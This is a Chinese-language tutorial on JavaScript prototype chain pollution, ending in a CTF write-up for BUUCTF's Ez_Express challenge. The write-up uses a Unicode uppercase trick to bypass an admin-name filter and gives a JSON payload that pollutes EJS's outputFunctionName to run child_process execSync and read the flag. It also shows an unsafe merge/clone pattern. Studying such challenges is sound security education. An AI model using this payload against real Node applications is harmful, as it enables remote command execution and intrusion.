原型链污染
JavaScript里只有对象的概念,每个对象都有一个私有属性指向另一个名为原型(prototype)的对象。原型对象也有自己的原型,层层向上直到一个对象的原型为null。null没有原型,是原型链(prototype chain)的最后一个节点。
__proto__和prototype
JavaScript中的每一个对象都有一个名为__proto__
的内置属性,它指向该对象的原型。每个函数都有一个prototype的属性,它是一个对象,包含构造函数的原型对象应该具有的属性和方法。__proto__
属性指向该对象的原型,prototype属性是用于创建该对象的构造函数的原型。
function Person(name){
this.name=name;
}
Person.prototype.greet=function(){
console.log(`Hello ,my name is ${this.name}`);
};
const person = new Person('Tom');
person.greet();//输出Hello ,my name is Tom
这段代码中构造函数在prototype上设置了一个greet函数,当实例化对象时,person会继承prototype上的greet方法。
实例化出来的person不能通过prototype访问原型,可以通过__proto__
访问Person原型
console.log(person.__proto__===Person.prototype);//true
继承属性
当试图访问一个对象的属性时,它不仅会在该对象上搜寻,还会搜寻该对象的原型,向上层层搜索,直到找到一个名字匹配的属性或者到达原型链的末尾。比如:{a:1,b:2,__proto:c}
,在这样一个对象变量中,c
的值必须是null或者另一个对象,a
和b
则是对象的普通属性。
const o = {
a:1,
b:2,
__proto__:{
c:3,
d:4
}
}
console.log(o.a)//1
console.log(o.c)//3
const o = {
a:1,
b:2,
__proto__:{
b:3,
d:4,
__proto__:{
e:5
}
}
}
console.log(o.b)//2(本层有就不会访问上一层的,又称属性屏蔽)
console.log(o.e)//5
继承方法
任何函数都可以被添加到对象上作为其属性。函数的继承与属性的继承没有什么差别。也具有属性屏蔽的性质(方法重写)。
const person={
value:2,
method(){
return this.value+1;
}
}
console.log(person.method());//3
const child={
__proto__:parent;
}
console.log(child.method());//3
child.value=4;//child:{value:4,__proto__:{value:2,method(){xxx}}}
console.log(child.method())//5
原型链污染原理
举个例子
var a = {number : 520}
var b = {number : 1314}
b.__proto__.number=520
var c= {}
c.number //520
typeof(b.__proto__);//object
typeof(c.__proto__);//object
c为什么会有number属性,并且值为520。可以看到c和b的原型都一样是object,之前b.__proto__.number=520
这条语句相当于对原型链进行了污染,c虽然是空对象,但是原型链中有number,因此c.number=520
。
常见的merge(将一个对象的内容复制到另一个对象中)和clone(将一个对象merge到一个空对象中)这两个函数是造成原型链污染的点。
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
// 如果target与source有相同的键名 则让target的键值为source的键值
merge(target[key], source[key])
} else {
target[key] = source[key] // 如果target与source没有相通的键名 则直接在target新建键名并赋给键值
}
}
}
let o1={}
let o2=JSON.parse('{"a":1,"__proto__":{"b":2}}')
merge(o1,o2)
console(o1.a,o2.b)//1 2
o3={}
console.log(o3.b)//2
为什么要用JSON.parse,因为再json的解析下__proto__
会被认为是一个键名,而不再代表原型。当它是一个键名的时候才会参与merge,否则不参与。
buuctf-Ez_Express
题目给了源码,下载源码里面有app.js和index.js,开始审计:
#app.js
var createError = require('http-errors');
var express = require('express');
var path = require('path');
var cookieParser = require('cookie-parser');
var logger = require('morgan');
const session = require('express-session')
const randomize = require('randomatic')
const bodyParser = require('body-parser')
var indexRouter = require('./routes/index');
var app = express();
// view engine setup
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'ejs');
app.disable('etag');
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())
app.use(session({
name: 'session',
secret: randomize('aA0', 16),
resave: false,
saveUninitialized: false
}))
app.use(logger('dev'));
app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(cookieParser());
app.use(express.static(path.join(__dirname, 'public')));
app.use('/', indexRouter);
// catch 404 and forward to error handler
app.use(function(req, res, next) {
next(createError(404));
});
// error handler
app.use(function(err, req, res, next) {
// set locals, only providing error in development
res.locals.message = err.message;
res.locals.error = req.app.get('env') === 'development' ? err : {};
// render the error page
res.status(err.status || 500);
res.render('error');
});
module.exports = app;
#index.js
var express = require('express');
var router = express.Router();
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
const clone = (a) => {
return merge({}, a);
}
function safeKeyword(keyword) {
if(keyword.match(/(admin)/is)) {
return keyword
}
return undefined
}
router.get('/', function (req, res) {
if(!req.session.user){
res.redirect('/login');
}
res.outputFunctionName=undefined;
res.render('index',data={'user':req.session.user.user});
});
router.get('/login', function (req, res) {
res.render('login');
});
router.post('/login', function (req, res) {
if(req.body.Submit=="register"){
if(safeKeyword(req.body.userid)){
res.end("<script>alert('forbid word');history.go(-1);</script>")
}
req.session.user={
'user':req.body.userid.toUpperCase(),
'passwd': req.body.pwd,
'isLogin':false
}
res.redirect('/');
}
else if(req.body.Submit=="login"){
if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}
if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){
req.session.user.isLogin=true;
}
else{
res.end("<script>alert('error passwd');history.go(-1);</script>")
}
}
res.redirect('/'); ;
});
router.post('/action', function (req, res) {
if(req.session.user.user!="ADMIN"){
res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")}
req.session.user.data = clone(req.body);
res.end("<script>alert('success');history.go(-1);</script>");
});
router.get('/info', function (req, res) {
res.render('index',data={'user':res.outputFunctionName});
})
module.exports = router;
index.js中存在merge和clone函数,存在原型链污染漏洞。
调用clone的地方在/action。
router.post('/action', function (req, res) {
if(req.session.user.user!="ADMIN"){
res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")}
req.session.user.data = clone(req.body);
res.end("<script>alert('success');history.go(-1);</script>");
});
要求用户名为ADMIN才能进行clone。再看login
router.post('/login', function (req, res) {
if(req.body.Submit=="register"){
if(safeKeyword(req.body.userid)){
res.end("<script>alert('forbid word');history.go(-1);</script>")
}
req.session.user={
'user':req.body.userid.toUpperCase(),
'passwd': req.body.pwd,
'isLogin':false
}
res.redirect('/');
}
else if(req.body.Submit=="login"){
if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}
if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){
req.session.user.isLogin=true;
}
else{
res.end("<script>alert('error passwd');history.go(-1);</script>")
}
}
res.redirect('/'); ;
});
function safeKeyword(keyword) {
if(keyword.match(/(admin)/is)) {
return keyword
}
return undefined
}
safekeyword函数过滤了admin关键字,不能直接用admin注册。注意到'user':req.body.userid.toUpperCase()
'admın'.toUpperCase()//ADMIN
'ſ'.toUpperCase()//S
"K".toLowerCase()//k
ı,ſ,K
都是特殊字符,但其经过大小写转换函数以后可以变成正常的英文字符。这里使用'admın'注册。
router.get('/info', function (req, res) {
res.render('index',data={'user':res.outputFunctionName});
})
其中outputFunctionName
是未定义的,可以用原型链污染来执行命令,先访问/action进行原型链污染,再访问/info进行模板渲染。
抓/action的包,Content-Type设为application/json
在body中写:
{"lua":"a","__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag')//"},"Submit":""}
再访问/info下载得到flag。